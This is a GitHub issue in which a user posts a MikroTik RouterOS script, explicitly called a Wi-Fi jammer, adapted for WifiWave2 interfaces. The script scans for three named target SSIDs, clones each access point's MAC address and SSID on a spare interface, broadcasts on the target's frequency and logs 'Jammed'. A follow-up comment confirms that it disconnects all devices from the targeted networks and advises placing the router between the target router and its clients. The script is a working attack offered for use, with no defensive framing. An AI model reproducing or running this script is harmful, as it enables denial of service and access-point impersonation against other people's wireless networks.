Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Don't work with newest WifiWave2 below is an adapted version, tested with 3 different SSID at same time. working really well in an HaP AX3 #3

Open
johannmelchior opened this issue Nov 21, 2023 · 1 comment

Comments

@johannmelchior
Copy link

johannmelchior commented Nov 21, 2023

#-------------------------------------------------------------------------------

MikroTik RouterOS Wi-Fi Jammer adapted to newest WifiWave2 interfaces

#-------------------------------------------------------------------------------

#-------------------------------------------------------------------------------

Settings

#-------------------------------------------------------------------------------

:local TARGETSSID1 "CLUBE_DO_JET_COZINHA"
:local TARGETSSID2 "CLUBE_DO_JET_FORRO"
:local TARGETSSID3 "CLUBE_DO_JET_DEPOSITO"
:local SCANDATFILENAME "scan.dat"
:local SCANDURATION 5
:local BASESCHEDULEDELAY 5

#-------------------------------------------------------------------------------

Jammer

#-------------------------------------------------------------------------------

/interface wifiwave2 scan duration=$SCANDURATION save-file=$SCANDATFILENAME number=0 

:local text [/file get $SCANDATFILENAME contents]
:local textLen [:len $text]
:local startPos 0
:local endPos 0
:local line ""

:do {

:set endPos [:find $text "\n" $endPos]
:set line [:pick $text $startPos $endPos]
:set startPos ($endPos + 1)
:local data [:toarray $line]
:local mac [:pick $data 0]
:local ssid [:pick $data 1]
:local freq [:pick [:pick $data 2] 0 [:find [:pick $data 2] "/"]]

if ($ssid = $TARGETSSID1 ) do={

 /interface wifiwave2 set wifi2g-master channel.frequency=$freq  
/interface/wifiwave2/ set wifi-teste mac-address=$mac configuration.ssid=$ssid
/interface/ wifiwave2/ enable wifi-teste

delay delay-time=10s
/interface/ wifiwave2/ disable wifi-teste
:log info "Jammed: $TARGETSSID1 $freq $mac"
:put "Jammed: $TARGETSSID1 $freq $mac"
delay delay-time=10s

}

if ($ssid = $TARGETSSID2 ) do={

 /interface wifiwave2 set wifi2g-master channel.frequency=$freq  
/interface/wifiwave2/ set wifi-teste mac-address=$mac configuration.ssid=$ssid
 /interface/ wifiwave2/ enable wifi-teste
delay delay-time=10s
 /interface/ wifiwave2/ disable wifi-teste
  :log info "Jammed: $TARGETSSID2 $freq $mac"
  :put  "Jammed: $TARGETSSID2 $freq $mac"
  delay delay-time=10s

}

if ($ssid = $TARGETSSID3 ) do={

  /interface wifiwave2 set wifi2g-master channel.frequency=$freq  
 /interface/wifiwave2/ set wifi-teste mac-address=$mac configuration.ssid=$ssid
 /interface/ wifiwave2/ enable wifi-teste
 delay delay-time=10s
 /interface/ wifiwave2/ disable wifi-teste
 :log info "Jammed: $TARGETSSID3 $freq $mac"
  :put  "Jammed: $TARGETSSID3 $freq $mac"
   delay delay-time=10s

}

} while ($startPos < $textLen)
}
/file remove $SCANDATFILENAME

@johannmelchior
Copy link
Author

when you run the script, it make all the devices disconect from networks affected by the jammer. works better when the router is in the middle, between the target router and target devices.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant